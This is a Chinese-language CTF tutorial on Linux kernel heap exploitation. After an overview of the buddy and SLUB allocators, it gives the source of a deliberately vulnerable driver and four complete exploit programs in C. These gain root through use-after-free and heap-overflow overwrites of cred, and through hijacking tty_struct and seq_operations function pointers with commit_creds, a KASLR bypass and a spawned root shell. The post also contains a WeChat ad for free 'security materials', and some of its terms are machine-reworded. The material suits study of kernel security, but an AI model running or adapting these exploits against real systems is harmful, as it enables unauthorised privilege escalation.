Linux kernel 堆溢出使用方法

前言

本文还是用一道例题来讲解几种内核堆使用方法，内核堆使用手段比较多，可能会分三期左右写。进行内核堆使用前，可以先了解一下内核堆的基本概念，固然更好去找一些详细的内核堆的基础知识。
概述

Linux kernel 将内存分为 页（page）→区（zone）→节点（node） 三级结构，主要有两个内存管理器—— buddy system 与 slub allocator，前者负责以内存页为粒度管理全部可用的物理内存，后者则以slab分配器为基础向前者请求内存页并划分为多个较小的对象（object）以进行细粒度的内存管理。

budy system

buddy system 以 page 为粒度管理着全部的物理内存，在每个 zone 结构体中都有一个 free_area 结构体数组，用以存储 buddy system 按照 order 管理的页面:

• 分配：
  
  
  
  • 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐，之后从对应的下标取出连续内存页。
    
  • 若对应下标链表为空，则会从下一个 order 中取出内存页，一分为二，装载到当前下标对应链表中，之后再返还给上层调用，若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
    
  
  
• 释放：
  
  
  
  • 将对应的连续内存页释放到对应的链表上。
    
  • 检索是否有可以合并的内存页，若有，则进行合成，放入更高 order 的链表中。
    
  
  

[img=720,507.325]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410181628454.png[/img]

slub allocator

slub_allocator 是基于 slab_alloctor 的分配器。slab allocator 向 buddy system 请求单张或多张连续内存页后再分割成同等大小的 object 返还给上层调用者来实现更为细粒度的内存管理。

• 分配：
  
  
  
  • 首先从 kmem_cache_cpu 上取对象，若有则直接返回。
    
  • 若 kmem_cache_cpu 上的 slub 已经无空闲对象了，对应 slub 会被从 kmem_cache_cpu 上取下，并实验从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu 上，然后再取出空闲对象返回。
    
  • 若 kmem_cache_node 的 partial 链表也空了，那就向 buddy system 请求分配新的内存页，划分为多个 object 之后再给到 kmem_cache_cpu，取空闲对象返回上层调用。
    
  
  
• 释放：
  
  
  
  • 若被释放 object 属于 kmem_cache_cpu 的 slub，直接使用头插法插入当前 CPU slub 的 freelist。
    
  • 若被释放 object 属于 kmem_cache_node 的 partial 链表上的 slub，直接使用头插法插入对应 slub 的 freelist。
    
  • 若被释放 object 为 full slub，则其会成为对应 slub 的 freelist 头节点，且该 slub 会被放置到 partial 链表。
    
  
  

[img=720,370.58188362327536]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410181628455.png[/img]

【----帮助网安学习，以下全部学习资料免费领！加vx：dctintin，备注 “博客园” 获取！】
　① 网安学习发展路径思维导图
　② 60+网安经典常用工具包
　③ 100+SRC毛病分析陈诉
　④ 150+网安攻防实战技术电子书
　⑤ 最权威CISSP 认证考试指南+题库
　⑥ 超1800页CTF实战技巧手册
　⑦ 最新网安大厂面试题合集（含答案）
　⑧ APP客户端安全检测指南（安卓+IOS）
heap_bof

题目分析

题目给了源码，存在UAF和heap overflow两种毛病。内核版本为4.4.27

1. #include <asm/uaccess.h>
2. #include <linux/cdev.h>
3. #include <linux/device.h>
4. #include <linux/fs.h>
5. #include <linux/kernel.h>
6. #include <linux/module.h>
7. #include <linux/slab.h>
8. #include <linux/types.h>
9. ​
10. struct class *bof_class;
11. struct cdev cdev;
12. ​
13. int bof_major = 256;
14. char *ptr[40];// 指针数组，用于存放分配的指针
15. struct param {
16.    size_t len;       // 内容长度
17.    char *buf;        // 用户态缓冲区地址
18.    unsigned long idx;// 表示 ptr 数组的 索引
19. };
20. ​
21. long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
22.    struct param p_arg;
23.    copy_from_user(&p_arg, (void *) arg, sizeof(struct param));
24.    long retval = 0;
25.    switch (cmd) {
26.        case 9:
27.            copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
28.            printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);
29.            break;
30.        case 8:
31.            copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
32.            break;
33.        case 7:
34.            kfree(ptr[p_arg.idx]);
35.            printk("free: 0x%p\n", ptr[p_arg.idx]);
36.            break;
37.        case 5:
38.            ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);
39.            printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);
40.            break;
41.        default:
42.            retval = -1;
43.            break;
44.    }
45.    return retval;
46. }
47. ​
48. static const struct file_operations bof_fops = {
49.        .owner = THIS_MODULE,
50.        .unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
51. };
52. ​
53. static int bof_init(void) {
54.    //设备号
55.    dev_t devno = MKDEV(bof_major, 0);
56.    int result;
57.    if (bof_major)//静态分配设备号
58.        result = register_chrdev_region(devno, 1, "bof");
59.    else {//动态分配设备号
60.        result = alloc_chrdev_region(&devno, 0, 1, "bof");
61.        bof_major = MAJOR(devno);
62.    }
63.    printk("bof_major /dev/bof: %d\n", bof_major);
64.    if (result < 0) return result;
65.    bof_class = class_create(THIS_MODULE, "bof");
66.    device_create(bof_class, NULL, devno, NULL, "bof");
67.    cdev_init(&cdev, &bof_fops);
68.    cdev.owner = THIS_MODULE;
69.    cdev_add(&cdev, devno, 1);
70.    return 0;
71. }
72. ​
73. static void bof_exit(void) {
74.    cdev_del(&cdev);
75.    device_destroy(bof_class, MKDEV(bof_major, 0));
76.    class_destroy(bof_class);
77.    unregister_chrdev_region(MKDEV(bof_major, 0), 1);
78.    printk("bof exit success\n");
79. }
80. ​
81. MODULE_AUTHOR("exp_ttt");
82. MODULE_LICENSE("GPL");
83. module_init(bof_init);
84. module_exit(bof_exit);

复制代码

boot.sh
这道题是多核多线程。并且开启了smep和smap。

1. #!/bin/bash
2. ​
3. qemu-system-x86_64 \
4.  -initrd rootfs.cpio \
5.  -kernel bzImage \
6.  -m 512M \
7.  -nographic \
8.  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
9.  -monitor /dev/null \
10.  -smp cores=2,threads=2 \
11.  -cpu kvm64,+smep,+smap \

复制代码

kernel Use After Free

使用思绪

cred 结构体大小为 0xa8 ，根据 slub 分配机制，假如申请和释放大小为 0xa8（实际为 0xc0 ）的内存块，此时再开一个线程，则该线程的 cred 结构题正是刚才释放掉的内存块。使用 UAF 毛病修改 cred 就可以实现提权。
exp

1. #include <fcntl.h>
2. #include <stdio.h>
3. #include <stdlib.h>
4. #include <string.h>
5. #include <sys/ioctl.h>
6. #include <unistd.h>
7. #include <sys/wait.h>
8. ​
9. #define BOF_MALLOC 5
10. #define BOF_FREE 7
11. #define BOF_EDIT 8
12. #define BOF_READ 9
13. ​
14. struct param {
15.    size_t len;       // 内容长度
16.    char *buf;        // 用户态缓冲区地址
17.    unsigned long idx;// 表示 ptr 数组的 索引
18. };
19. ​
20. int main() {
21.    int fd = open("dev/bof", O_RDWR);
22.    struct param p = {0xa8, malloc(0xa8), 1};
23.    ioctl(fd, BOF_MALLOC, &p);
24.    ioctl(fd, BOF_FREE, &p);
25.    int pid = fork(); // 这个线程申请的cred结构体obj即为刚才释放的obj。
26.    if (pid < 0) {
27.        puts("[-]fork error");
28.        return -1;
29.    }
30.    if (pid == 0) {
31.        p.buf = malloc(p.len = 0x30);
32.        memset(p.buf, 0, p.len);
33.        ioctl(fd, BOF_EDIT, &p); // 修改用户ID
34.        if (getuid() == 0) {
35.            puts("[+]root success");
36.            system("/bin/sh");
37.        } else {
38.            puts("[-]root failed");
39.        }
40.    } else {
41.        wait(NULL);
42.    }
43.    close(fd);
44.    return 0;
45. }

复制代码

但是此种方法在较新版本 kernel 中已不可行，我们已无法直接分配到 cred_jar 中的 object，这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记，在 CONFIG_MEMCG_KMEM=y 时（默认开启）cred_jar 不会再与相同大小的 kmalloc-192 进行合并。

1. // kernel version == 4.4.72
2. void __init cred_init(void)
3. {
4.     /* allocate a slab in which we can store credentials */
5.     cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
6.                      0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
7. }
8. // kernel version == 4.5
9. void __init cred_init(void)
10. {
11.     /* allocate a slab in which we can store credentials */
12.     cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
13.             SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
14. }

复制代码

heap overflow

溢出修改 cred ，和前面 UAF 修改 cred 一样，在新版本失效。多核堆块不免会乱序，溢出之前记得多申请一些0xc0大小的obj，因为我们 freelist 中存在许多之前使用又被释放的obj导致的obj乱序。我们需要一个排列整洁的内存块用于修改。
使用思绪

• 多申请几个0xa8大小的内存块，将原有混乱的freelist 变为地址连续的 freelist。
  
• 使用堆溢出，修改被重新申请作为cred的ptr[5]凭证区为0。
  

exp

1. #include <stdio.h>
2. #include <fcntl.h>
3. #include <sys/ioctl.h>
4. #include <unistd.h>
5. #include <string.h>
6. #include <stdlib.h>
7. #include <sys/wait.h>
8. ​
9. struct param {
10.    size_t len;    // 内容长度
11.    char *buf;     // 用户态缓冲区地址
12.    long long idx; // 表示 ptr 数组的 索引
13. };
14. ​
15. const int BOF_NUM = 10;
16. ​
17. int main(void) {
18.    int bof_fd = open("/dev/bof", O_RDWR);
19.    if (bof_fd == -1) {
20.        puts("[-] Failed to open bof device.");
21.        exit(-1);
22.    }
23. ​
24.    struct param p = {0xa8, malloc(0xa8), 0};
25. ​
26.    // 让驱动分配 0x40 个 0xa8  的内存块
27.    for (int i = 0; i < 0x40; i++) {
28.        ioctl(bof_fd, 5, &p);  // malloc
29.    }
30.    puts("[*] clear heap done");
31. ​
32.    // 让驱动分配 10 个 0xa8  的内存块
33.    for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
34.        ioctl(bof_fd, 5, &p);  // malloc
35.    }
36.    p.idx = 5;
37.    ioctl(bof_fd, 7, &p); // free
38. ​
39.    // 调用 fork 分配一个 cred结构体
40.    int pid = fork();
41.    if (pid < 0) {
42.        puts("[-] fork error");
43.        exit(-1);
44.    }
45. ​
46.    // 此时 ptr[4] 和 cred相邻
47.    // 溢出 修改 cred 实现提权
48.    p.idx = 4, p.len = 0xc0 + 0x30;
49.    memset(p.buf, 0, p.len);
50.    ioctl(bof_fd, 8, &p);
51.    if (!pid) {
52.        //一直到egid及其之前的都变为了0，这个时候就已经会被认为是root了
53.        size_t uid = getuid();
54.        printf("[*] uid: %zx\n", uid);
55.        if (!uid) {
56.            puts("[+] root success");
57.            // 权限修改完毕，启动一个shell，就是root的shell了
58.            system("/bin/sh");
59.        } else {
60.            puts("[-] root fail");
61.        }
62.    } else {
63.        wait(0);
64.    }
65.    return 0;
66. }

复制代码

tty_struct 劫持

boot.sh
这道题gadget较少，我们就关了smep保护。

1. #!/bin/bash
2. ​
3. qemu-system-x86_64 \
4.  -initrd rootfs.img \
5.  -kernel bzImage \
6.  -m 512M \
7.  -nographic \
8.  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
9.  -monitor /dev/null \
10.  -s \
11.  -cpu kvm64 \
12.  -smp cores=1,threads=1 \
13.  --nographic

复制代码

使用思绪

在 /dev 下有一个伪终端设备 ptmx ，在我们打开这个设备时内核中会创建一个 tty_struct 结构体，

1. ptmx_open (drivers/tty/pty.c)
2. -> tty_init_dev (drivers/tty/tty_io.c)
3.  -> alloc_tty_struct (drivers/tty/tty_io.c)

复制代码

tty 的结构体 tty_srtuct 界说在 linux/tty.h 中。其中 ops 项（64bit 下位于 结构体偏移 0x18 处）指向一个存放 tty 相干操纵函数的函数指针的结构体 tty_operations 。其魔数为0x5401

1. // sizeof(struct tty_struct) == 0x2e0
2. /* tty magic number */
3. #define TTY_MAGIC        0x5401
4. struct tty_struct {
5.    ...
6.     const struct tty_operations *ops;
7.     ...
8. }
9. struct tty_operations {
10.    ...
11.     int  (*ioctl)(struct tty_struct *tty,
12.             unsigned int cmd, unsigned long arg);
13.    ...
14. };

复制代码

使用 tty 设备的前提是挂载了 ptmx 设备。

1. mkdir /dev/pts
2. mount -t devpts none /dev/pts
3. chmod 777 /dev/ptmx

复制代码

以是我们只需要劫持 tty_ops 的某个可触发的操纵即可，将其劫持到 get_root 函数处。
exp

1. #include <sys/wait.h>
2. #include <assert.h>
3. #include <fcntl.h>
4. #include <stdio.h>
5. #include <stdlib.h>
6. #include <string.h>
7. #include <sys/ioctl.h>
8. #include <sys/mman.h>
9. #include <unistd.h>
10. ​
11. #define BOF_MALLOC 5
12. #define BOF_FREE 7
13. #define BOF_EDIT 8
14. #define BOF_READ 9
15. ​
16. void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340;
17. size_t init_cred = 0xFFFFFFFF81E496C0;
18. ​
19. void get_shell()
20. {
21.    system("/bin/sh");
22. }
23. ​
24. unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell;
25. ​
26. void save_status() {
27.    __asm__(
28.        "mov user_cs, cs;"
29.        "mov user_ss, ss;"
30.        "mov user_rsp, rsp;"
31.        "pushf;"
32.        "pop user_rflags;"
33.    );
34.    puts("[*]status has been saved.");
35. }
36. ​
37. size_t kernel_offset;
38. ​
39. void get_root() {
40.    // 通过栈上残留地址来绕过 KASLR
41.    __asm__(
42.        "mov rbx, [rsp + 8];"
43.        "mov kernel_offset, rbx;"
44.    );
45.    kernel_offset -= 0xffffffff814f604f;
46.    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
47.    init_cred = (void *) ((size_t) init_cred + kernel_offset);
48.    commit_creds(init_cred);
49.    __asm__(
50.        "swapgs;"
51.        "push user_ss;"
52.        "push user_rsp;"
53.        "push user_rflags;"
54.        "push user_cs;"
55.        "push user_rip;"
56.        "iretq;"
57.    );
58. }
59. ​
60. struct param {
61.    size_t len;    // 内容长度
62.    char *buf;     // 用户态缓冲区地址
63.    long long idx; // 表示 ptr 数组的 索引
64. };
65. ​
66. int main(int argc, char const *argv[])
67. {
68.    save_status();
69. ​
70.    size_t fake_tty_ops[] = {
71.        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
72.        get_root
73.    };
74. ​
75.    // len buf idx
76.    struct param p = {0x2e0, malloc(0x2e0), 0};
77.    printf("[*]p_addr==>%p\n", &p);
78. ​
79.    int bof_fd = open("/dev/bof", O_RDWR);
80. ​
81.    p.len = 0x2e0;
82.    ioctl(bof_fd, BOF_MALLOC, &p);
83.    memset(p.buf, '\xff', 0x2e0);
84.    ioctl(bof_fd, BOF_EDIT, &p);
85.    ioctl(bof_fd, BOF_FREE, &p);
86. ​
87.    int ptmx_fd = open("/dev/ptmx", O_RDWR);
88. ​
89.    p.len = 0x20;
90.    ioctl(bof_fd, BOF_READ, &p);
91.    printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]);
92.    printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]);
93. ​
94.    *(size_t *)&p.buf[0x18] = &fake_tty_ops;
95.    ioctl(bof_fd, BOF_EDIT, &p);
96. ​
97.    ioctl(ptmx_fd, 0, 0);
98.    
99. ​
100.     return 0;
101. }

复制代码

seq_operations 劫持

boot.sh

1. #!/bin/bash
2. ​
3. qemu-system-x86_64 \
4.  -initrd rootfs.img \
5.  -kernel bzImage \
6.  -m 512M \
7.  -nographic \
8.  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
9.  -monitor /dev/null \
10.  -s \
11.  -cpu kvm64 \
12.  -smp cores=1,threads=1 \
13.  --nographic

复制代码

使用思绪

seq_operations 结构如下，该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。

1. struct seq_operations {
2.     void * (*start) (struct seq_file *m, loff_t *pos);
3.     void (*stop) (struct seq_file *m, void *v);
4.     void * (*next) (struct seq_file *m, void *v, loff_t *pos);
5.     int (*show) (struct seq_file *m, void *v);
6. };

复制代码

调用读取 stat 文件时会调用 seq_operations 的 start 函数指针。

1. ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
2. {
3.     struct seq_file *m = file->private_data;
4.     ...
5.     p = m->op->start(m, &pos);
6.     ...

复制代码

当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。由于这道题关闭了 SMEP，SMAP 和 KPTI 保护，因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。至于 KASLR 可以通过泄露栈上的数据绕过。

[img=720,260.4149377593361]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410181628456.png[/img]

exp

1. #include <fcntl.h>
2. #include <stdio.h>
3. #include <stdlib.h>
4. #include <sys/ioctl.h>
5. #include <unistd.h>
6. #include <string.h>
7. ​
8. struct param {
9.    size_t len;       // 内容长度
10.    char *buf;        // 用户态缓冲区地址
11.    long long idx;// 表示 ptr 数组的 索引
12. };
13. ​
14. const int SEQ_NUM = 0x200;
15. const int DATA_SIZE = 0x20 * 8;
16. #define BOF_MALLOC 5
17. #define BOF_FREE 7
18. #define BOF_EDIT 8
19. #define BOF_READ 9
20. ​
21. ​
22. void get_shell() {
23.    system("/bin/sh");
24. }
25. ​
26. size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell;
27. ​
28. void save_status() {
29.    __asm__("mov user_cs, cs;"
30.            "mov user_ss, ss;"
31.            "mov user_sp, rsp;"
32.            "pushf;"
33.            "pop user_rflags;");
34.    puts("[*] status has been saved.");
35. }
36. ​
37. void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
38. ​
39. void *init_cred = (void *) 0xFFFFFFFF81E496C0;
40. ​
41. size_t kernel_offset;
42. ​
43. void get_root() {
44.    // 通过栈上的残留值绕过KASLR。
45.    __asm__(
46.        "mov rax, [rsp + 8];"
47.        "mov kernel_offset, rax;"
48.    );
49.    kernel_offset -= 0xffffffff81229378;
50.    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
51.    init_cred = (void *) ((size_t) init_cred + kernel_offset);
52.    commit_creds(init_cred);
53.    __asm__(
54.        "swapgs;"
55.        "push user_ss;"
56.        "push user_sp;"
57.        "push user_rflags;"
58.        "push user_cs;"
59.        "push user_rip;"
60.        "iretq;"
61.    );
62. }
63. ​
64. int main() {
65.    save_status();
66. ​
67.    int bof_fd = open("dev/bof", O_RDWR);
68.    if (bof_fd < 0) {
69.        puts("[-] Failed to open bof.");
70.        exit(-1);
71.    }
72. ​
73.    struct param p = {0x20, malloc(0x20), 0};
74.    for (int i = 0; i < 0x40; i++) {
75.        ioctl(bof_fd, BOF_MALLOC, &p);
76.    }
77.    memset(p.buf, '\xff', p.len);
78.    ioctl(bof_fd, BOF_EDIT, &p);
79.    // 大量喷洒 seq_ops 结构体。
80.    int seq_fd[SEQ_NUM];
81.    for (int i = 0; i < SEQ_NUM; i++) {
82.        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
83.        if (seq_fd[i] < 0) {
84.            puts("[-] Failed to open stat.");
85.        }
86.    }
87.    puts("[*] seq_operations spray finished.");
88.    
89.    // 通过溢出，将附近 seq_ops 的指针修改为 get_root地址。
90.    p.len = DATA_SIZE;
91.    p.buf = malloc(DATA_SIZE);
92.    p.idx = 0;
93.    for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {
94.        *(size_t *) &p.buf[i] = (size_t) get_root;
95.    }
96.    ioctl(bof_fd, BOF_EDIT, &p);
97.    puts("[*] Heap overflow finished.");
98. ​
99.    for (int i = 0; i < SEQ_NUM; i++) {
100.        read(seq_fd[i], p.buf, 1);
101.    }
102. ​
103.    return 0;
104. }

复制代码

更多网安技能的在线实操练习，请点击这里>>
  

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。